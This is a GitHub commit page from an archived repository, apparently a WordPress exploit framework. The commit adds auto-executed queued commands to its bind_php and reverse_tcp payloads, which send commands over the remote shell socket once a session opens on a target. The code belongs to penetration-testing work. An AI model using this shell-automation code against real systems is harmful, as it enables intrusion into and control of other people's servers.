Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit cdd6cbe

Browse files
committed
Add support for auto-exec commands in bind_php and reverse_tcp payloads
1 parent 3641d7e commit cdd6cbe

File tree

4 files changed

+29
-3
lines changed

4 files changed

+29
-3
lines changed

lib/wpxf/core/payload.rb

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,8 @@ def initialize
1616
default: true
1717
)
1818
])
19+
20+
self.queued_commands = []
1921
end
2022

2123
# @return an encoded version of the payload.
@@ -74,12 +76,14 @@ def post_exploit(mod)
7476

7577
# Cleanup any allocated resource to the payload.
7678
def cleanup
79+
nil
7780
end
7881

7982
# Run checks to raise warnings to the user of any issues or noteworthy
8083
# points in regards to the payload being used with the current module.
8184
# @param mod [Module] the module using the payload.
8285
def check(mod)
86+
nil
8387
end
8488

8589
# @return [Hash] a hash of constants that should be injected at the
@@ -104,9 +108,19 @@ def php_preamble
104108
preamble
105109
end
106110

111+
# Enqueue a command to be executed on the target system, if the
112+
# payload supports queued commands.
113+
# @param cmd [String] the command to execute when the payload is executed.
114+
def enqueue_command(cmd)
115+
queued_commands.push(cmd)
116+
end
117+
107118
# @return the payload in its raw format.
108119
attr_accessor :raw
109120

121+
# @return [Array] the commands queued to be executed on the target.
122+
attr_accessor :queued_commands
123+
110124
private
111125

112126
def raw_payload_with_random_var_names

payloads/bind_php.rb

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,7 +57,6 @@ def post_exploit(mod)
5757

5858
Wpxf.change_stdout_sync(true) do
5959
mod.emit_success 'Established a session'
60-
puts
6160
start_socket_io_loop(socket, mod)
6261
socket.close
6362
puts
@@ -84,6 +83,10 @@ def raw
8483
"#{DataFile.new('php', 'bind_php.php').php_content}"
8584
end
8685

86+
def cleanup
87+
self.queued_commands = []
88+
end
89+
8790
attr_accessor :host
8891
end
8992
end

payloads/reverse_tcp.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -94,10 +94,8 @@ def client_connected(socket, event_emitter)
9494
Wpxf.change_stdout_sync(true) do
9595
port, ip = Socket.unpack_sockaddr_in(socket.getpeername)
9696
event_emitter.emit_success "Connection established from #{ip}:#{port}"
97-
puts
9897

9998
start_socket_io_loop(socket, event_emitter)
100-
10199
socket.close
102100
@server.close
103101
puts
@@ -136,6 +134,7 @@ def post_exploit(mod)
136134
end
137135

138136
def cleanup
137+
self.queued_commands = []
139138
@network_thread.exit if @network_thread
140139
@server.close if @server && !@server.closed?
141140
end

payloads/socket_helper.rb

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22
module Wpxf::Payloads::SocketHelper
33
def start_socket_io_loop(socket, event_emitter)
44
read_thread = Thread.new { start_socket_read_loop(socket) }
5+
execute_queued_commands(socket, event_emitter)
56
start_socket_write_loop(socket, read_thread)
67
rescue SignalException
78
puts
@@ -11,6 +12,15 @@ def start_socket_io_loop(socket, event_emitter)
1112
event_emitter.emit_error "Error encountered: #{e}"
1213
end
1314

15+
def execute_queued_commands(socket, event_emitter)
16+
queued_commands.each do |cmd|
17+
socket.puts cmd
18+
event_emitter.emit_success "Executed: #{cmd}"
19+
end
20+
21+
puts
22+
end
23+
1424
def start_socket_write_loop(socket, read_thread)
1525
loop do
1626
input = STDIN.gets

0 commit comments

Comments
 (0)